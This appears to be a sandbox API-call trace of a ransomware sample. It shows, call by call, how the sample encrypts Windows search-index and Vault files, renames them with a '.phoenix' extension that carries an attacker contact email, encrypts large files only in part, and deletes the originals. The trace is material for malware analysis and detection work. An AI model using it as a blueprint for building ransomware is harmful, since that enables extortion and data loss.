	[0261.595] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xf2, lpOverlapped=0x0) returned 1
	[0261.595] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0261.595] CloseHandle (hObject=0x308) returned 1
	[0261.595] CloseHandle (hObject=0x2b0) returned 1
	[0261.595] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.001" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.001")) returned 1
	[0261.597] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0261.597] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.002" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.002"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0261.597] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=65536) returned 1
	[0261.597] CloseHandle (hObject=0x2b0) returned 1
	[0261.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.002" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.002")) returned 0x2020
	[0261.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.002.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.002.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.598] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.002" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.002"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0261.598] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0261.598] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0261.598] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.002.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.002.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0261.599] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1515c0) returned 1
	[0261.599] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0261.599] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x10000, lpOverlapped=0x0) returned 1
	[0261.637] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x10010, dwBufLen=0x10010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x10010) returned 1
	[0261.637] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x10010, lpOverlapped=0x0) returned 1
	[0261.639] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1516c0) returned 1
	[0261.639] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0261.639] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40, dwBufLen=0x40 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40) returned 1
	[0261.639] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0261.639] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xf2, lpOverlapped=0x0) returned 1
	[0261.639] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0261.639] CloseHandle (hObject=0x2b0) returned 1
	[0261.639] CloseHandle (hObject=0x308) returned 1
	[0261.639] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.002" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.002")) returned 1
	[0261.640] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0261.640] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.000" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.000"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0261.641] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=240) returned 1
	[0261.641] CloseHandle (hObject=0x308) returned 1
	[0261.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.000" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.000")) returned 0x2020
	[0261.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.000.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.000.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.641] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.000" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.000"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0261.641] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0261.641] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0261.641] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.000.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.000.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0261.642] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0261.642] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0261.642] ReadFile (in: hFile=0x308, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0xf0, lpOverlapped=0x0) returned 1
	[0261.643] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x100, dwBufLen=0x100 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x100) returned 1
	[0261.643] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x100, lpOverlapped=0x0) returned 1
	[0261.644] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151180) returned 1
	[0261.644] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0261.644] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40, dwBufLen=0x40 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40) returned 1
	[0261.644] CryptDestroyKey (hKey=0x151180) returned 1
	[0261.644] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xf2, lpOverlapped=0x0) returned 1
	[0261.644] CryptDestroyKey (hKey=0x151500) returned 1
	[0261.644] CloseHandle (hObject=0x308) returned 1
	[0261.644] CloseHandle (hObject=0x2b0) returned 1
	[0261.644] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.000" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.000")) returned 1
	[0261.645] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0261.645] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.001" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.001"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0261.645] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=65536) returned 1
	[0261.646] CloseHandle (hObject=0x2b0) returned 1
	[0261.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.001" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.001")) returned 0x2020
	[0261.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.001.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.001.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.646] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.001" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.001"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0261.646] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0261.646] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0261.646] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.001.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.001.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0261.748] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151200) returned 1
	[0261.748] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0261.748] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x10000, lpOverlapped=0x0) returned 1
	[0261.755] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x10010, dwBufLen=0x10010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x10010) returned 1
	[0261.755] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x10010, lpOverlapped=0x0) returned 1
	[0261.757] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151640) returned 1
	[0261.757] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0261.757] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40, dwBufLen=0x40 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40) returned 1
	[0261.757] CryptDestroyKey (hKey=0x151640) returned 1
	[0261.757] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xf2, lpOverlapped=0x0) returned 1
	[0261.757] CryptDestroyKey (hKey=0x151200) returned 1
	[0261.757] CloseHandle (hObject=0x2b0) returned 1
	[0261.758] CloseHandle (hObject=0x2f0) returned 1
	[0261.758] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.001" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.001")) returned 1
	[0261.759] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0261.759] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.edb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0261.760] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=25100288) returned 1
	[0261.760] CloseHandle (hObject=0x2f0) returned 1
	[0261.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.edb")) returned 0x2220
	[0261.760] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.edb"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.edb.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 1
	[0261.761] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.edb.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0261.761] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd20 | out: lpNewFilePointer=0x0) returned 1
	[0261.761] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd20 | out: lpNewFilePointer=0x0) returned 1
	[0261.761] ReadFile (in: hFile=0x2f0, lpBuffer=0x3096058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e0fd2c, lpOverlapped=0x0 | out: lpBuffer=0x3096058*, lpNumberOfBytesRead=0x2e0fd2c*=0x40000, lpOverlapped=0x0) returned 1
	[0261.814] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x7faaaa, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd20 | out: lpNewFilePointer=0x0) returned 1
	[0261.814] ReadFile (in: hFile=0x2f0, lpBuffer=0x30d6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e0fd2c, lpOverlapped=0x0 | out: lpBuffer=0x30d6058*, lpNumberOfBytesRead=0x2e0fd2c*=0x40000, lpOverlapped=0x0) returned 1
	[0261.832] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x17b0000, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd20 | out: lpNewFilePointer=0x0) returned 1
	[0261.832] ReadFile (in: hFile=0x2f0, lpBuffer=0x3116058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e0fd2c, lpOverlapped=0x0 | out: lpBuffer=0x3116058*, lpNumberOfBytesRead=0x2e0fd2c*=0x40000, lpOverlapped=0x0) returned 1
	[0261.887] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd7c | out: phKey=0x2e0fd7c*=0x151140) returned 1
	[0261.887] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0261.888] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd30*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd30*=0xc0050) returned 1
	[0261.889] CryptDestroyKey (hKey=0x151140) returned 1
	[0261.889] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd58 | out: lpNewFilePointer=0x0) returned 1
	[0261.889] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2e0fd68, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd68*=0xc0102, lpOverlapped=0x0) returned 1
	[0261.904] SetEndOfFile (hFile=0x2f0) returned 1
	[0261.904] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x17b0000, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd28 | out: lpNewFilePointer=0x0) returned 1
	[0261.904] WriteFile (in: hFile=0x2f0, lpBuffer=0x315613a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e0fd34, lpOverlapped=0x0 | out: lpBuffer=0x315613a*, lpNumberOfBytesWritten=0x2e0fd34*=0x40000, lpOverlapped=0x0) returned 1
	[0261.906] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x7faaaa, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd28 | out: lpNewFilePointer=0x0) returned 1
	[0261.906] WriteFile (in: hFile=0x2f0, lpBuffer=0x315613a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e0fd34, lpOverlapped=0x0 | out: lpBuffer=0x315613a*, lpNumberOfBytesWritten=0x2e0fd34*=0x40000, lpOverlapped=0x0) returned 1
	[0261.908] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd28 | out: lpNewFilePointer=0x0) returned 1
	[0261.908] WriteFile (in: hFile=0x2f0, lpBuffer=0x315613a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e0fd34, lpOverlapped=0x0 | out: lpBuffer=0x315613a*, lpNumberOfBytesWritten=0x2e0fd34*=0x40000, lpOverlapped=0x0) returned 1
	[0261.910] CloseHandle (hObject=0x2f0) returned 1
	[0261.910] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0261.910] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\policy.vpol"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0261.911] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=444) returned 1
	[0261.911] CloseHandle (hObject=0x2f0) returned 1
	[0261.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\policy.vpol")) returned 0x20
	[0261.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\policy.vpol.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.911] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\policy.vpol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0261.911] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0261.911] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0261.911] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\policy.vpol.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0261.912] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151740) returned 1
	[0261.912] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0261.912] ReadFile (in: hFile=0x2f0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1bc, lpOverlapped=0x0) returned 1
	[0261.913] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1c0, dwBufLen=0x1c0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1c0) returned 1
	[0261.913] WriteFile (in: hFile=0x240, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1c0, lpOverlapped=0x0) returned 1
	[0261.914] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151540) returned 1
	[0261.914] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0261.914] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40, dwBufLen=0x40 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40) returned 1
	[0261.914] CryptDestroyKey (hKey=0x151540) returned 1
